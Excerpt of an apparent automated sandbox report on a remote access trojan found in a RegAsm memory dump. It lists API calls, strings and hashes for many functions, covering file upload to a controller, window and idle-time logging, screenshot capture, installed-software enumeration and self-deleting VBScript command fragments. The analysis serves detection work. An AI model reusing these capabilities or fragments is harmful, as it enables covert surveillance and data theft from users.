                              • Opcode Fuzzy Hash: bc7e362d57d7670180143ae5cce880ef26dc034d902ff58de5e25bf17600ed29
                              • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                              Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$EnvironmentVariable
                              • String ID:
                              • API String ID: 1464849758-0
                              • Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                              • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                              • Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                              • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                              Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                              • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                              • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEnumOpen
                              • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                              • API String ID: 1332880857-3714951968
                              • Opcode ID: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                              • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                              • Opcode Fuzzy Hash: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                              • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                              Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                              Download Yara Rule
                              APIs
                              • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                              • GetCursorPos.USER32(?), ref: 0041D5E9
                              • SetForegroundWindow.USER32(?), ref: 0041D5F2
                              • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
                              • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
                              • ExitProcess.KERNEL32 ref: 0041D665
                              • CreatePopupMenu.USER32 ref: 0041D66B
                              • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                              • String ID: Close
                              • API String ID: 1657328048-3535843008
                              • Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                              • Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
                              • Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
                              • Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D
                              Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408CE3
                              • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
                              • __aulldiv.LIBCMT ref: 00408D4D
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
                              • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
                              • CloseHandle.KERNEL32(00000000), ref: 00408F64
                              • CloseHandle.KERNEL32(00000000), ref: 00408FAE
                              • CloseHandle.KERNEL32(00000000), ref: 00408FFC
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                              • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                              • API String ID: 3086580692-2582957567
                              • Opcode ID: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                              • Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
                              • Opcode Fuzzy Hash: 72fad283c4fe1643dee5b4a459ce18e644925f4e3f1a855a4ff9453ab0215ac4
                              • Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B
                              Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32(00001388), ref: 0040A740
                                • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                                • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                              • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                              • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                              • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A927
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                              • String ID: 8SG$8SG$pQG$pQG$PG$PG
                              • API String ID: 3795512280-1152054767
                              • Opcode ID: 677456a4732d5fb77e9c8745959e99ef54ead223a942f07a0b0fb3c37e482db7
                              • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                              • Opcode Fuzzy Hash: 677456a4732d5fb77e9c8745959e99ef54ead223a942f07a0b0fb3c37e482db7
                              • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                              Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • ___free_lconv_mon.LIBCMT ref: 0045130A
                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450531
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450543
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450555
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450567
                                • Part of subcall function 00450502: _free.LIBCMT ref: 00450579
                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
                                • Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
                                • Part of subcall function 00450502: _free.LIBCMT ref: 004505F7
                              • _free.LIBCMT ref: 004512FF
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00451321
                              • _free.LIBCMT ref: 00451336
                              • _free.LIBCMT ref: 00451341
                              • _free.LIBCMT ref: 00451363
                              • _free.LIBCMT ref: 00451376
                              • _free.LIBCMT ref: 00451384
                              • _free.LIBCMT ref: 0045138F
                              • _free.LIBCMT ref: 004513C7
                              • _free.LIBCMT ref: 004513CE
                              • _free.LIBCMT ref: 004513EB
                              • _free.LIBCMT ref: 00451403
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                              • String ID:
                              • API String ID: 161543041-0
                              • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                              • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                              • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                              • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                              Function 00453D83 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 268COMMON
                              Download Yara Rule
                              APIs
                              • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
                              • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
                              • __alloca_probe_16.LIBCMT ref: 00453EEA
                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
                              • __alloca_probe_16.LIBCMT ref: 00453F94
                              • MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
                              • __freea.LIBCMT ref: 00454003
                              • __freea.LIBCMT ref: 0045400F
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                              • String ID: \@E$5}/
                              • API String ID: 201697637-2710635219
                              • Opcode ID: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                              • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                              • Opcode Fuzzy Hash: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                              • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                              Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                              Download Yara Rule
                              APIs
                              • __EH_prolog.LIBCMT ref: 00419FB9
                              • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                              • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                              • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                              • GetLocalTime.KERNEL32(?), ref: 0041A105
                              • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                              • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                              • API String ID: 489098229-1431523004
                              • Opcode ID: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                              • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                              • Opcode Fuzzy Hash: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                              • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                              Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                                • Part of subcall function 004136F8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                                • Part of subcall function 004136F8: RegQueryValueExA.KERNEL32 ref: 0041372D
                                • Part of subcall function 004136F8: RegCloseKey.KERNEL32(00000000), ref: 00413738
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                              • ExitProcess.KERNEL32 ref: 0040D9C4
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                              • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                              • API String ID: 1913171305-3159800282
                              • Opcode ID: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                              • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                              • Opcode Fuzzy Hash: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                              • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                              Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID:
                              • API String ID: 269201875-0
                              • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                              • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                              • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                              • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                              Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                              • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                              • CloseHandle.KERNEL32(?), ref: 00404E4C
                              • closesocket.WS2_32(000000FF), ref: 00404E5A
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                              • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                              • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                              • CloseHandle.KERNEL32(?), ref: 00404EBF
                              • CloseHandle.KERNEL32(?), ref: 00404EC4
                              • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                              • CloseHandle.KERNEL32(?), ref: 00404ED6
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                              • String ID:
                              • API String ID: 3658366068-0
                              • Opcode ID: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                              • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                              • Opcode Fuzzy Hash: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                              • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                              Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000), ref: 004558C6
                              • GetLastError.KERNEL32 ref: 00455CEF
                              • __dosmaperr.LIBCMT ref: 00455CF6
                              • GetFileType.KERNEL32 ref: 00455D02
                              • GetLastError.KERNEL32 ref: 00455D0C
                              • __dosmaperr.LIBCMT ref: 00455D15
                              • CloseHandle.KERNEL32(00000000), ref: 00455D35
                              • CloseHandle.KERNEL32(?), ref: 00455E7F
                              • GetLastError.KERNEL32 ref: 00455EB1
                              • __dosmaperr.LIBCMT ref: 00455EB8
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                              • String ID: H
                              • API String ID: 4237864984-2852464175
                              • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                              • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                              • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                              • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                              Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID: \&G$\&G$`&G
                              • API String ID: 269201875-253610517
                              • Opcode ID: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                              • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                              • Opcode Fuzzy Hash: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                              • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                              Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: 65535$udp
                              • API String ID: 0-1267037602
                              • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                              • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                              • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                              • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                              Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                              Download Yara Rule
                              APIs
                              • __Init_thread_footer.LIBCMT ref: 0040AD38
                              • Sleep.KERNEL32(000001F4), ref: 0040AD43
                              • GetForegroundWindow.USER32 ref: 0040AD49
                              • GetWindowTextLengthW.USER32 ref: 0040AD52
                              • GetWindowTextW.USER32 ref: 0040AD86
                              • Sleep.KERNEL32(000003E8), ref: 0040AE54
                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                              • String ID: [${ User has been idle for $ minutes }$]
                              • API String ID: 911427763-3954389425
                              • Opcode ID: 1fd890e2d21f894b0b3b077f7e4e96656cdfff5721ec9a02ea1a5f8763c76f61
                              • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                              • Opcode Fuzzy Hash: 1fd890e2d21f894b0b3b077f7e4e96656cdfff5721ec9a02ea1a5f8763c76f61
                              • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                              Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                              • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                              • __dosmaperr.LIBCMT ref: 0043A8A6
                              • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                              • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                              • __dosmaperr.LIBCMT ref: 0043A8E3
                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                              • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                              • __dosmaperr.LIBCMT ref: 0043A937
                              • _free.LIBCMT ref: 0043A943
                              • _free.LIBCMT ref: 0043A94A
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                              • String ID:
                              • API String ID: 2441525078-0
                              • Opcode ID: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                              • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                              • Opcode Fuzzy Hash: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                              • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                              Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                              Download Yara Rule
                              APIs
                              • SetEvent.KERNEL32(?,?), ref: 004054BF
                              • GetMessageA.USER32 ref: 0040556F
                              • TranslateMessage.USER32(?), ref: 0040557E
                              • DispatchMessageA.USER32 ref: 00405589
                              • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                              • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                              • String ID: CloseChat$DisplayMessage$GetMessage
                              • API String ID: 2956720200-749203953
                              • Opcode ID: 1596478972ce96747ca32779f183717890ad831c566256f19ff3d4655c30f502
                              • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                              • Opcode Fuzzy Hash: 1596478972ce96747ca32779f183717890ad831c566256f19ff3d4655c30f502
                              • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                              Function 00455F04 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 154COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DecodePointer
                              • String ID: acos$asin$exp$log$log10$pow$sqrt$5}/
                              • API String ID: 3527080286-570590384
                              • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                              • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                              • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                              • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                              Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                              • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                              • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                              • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                              • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
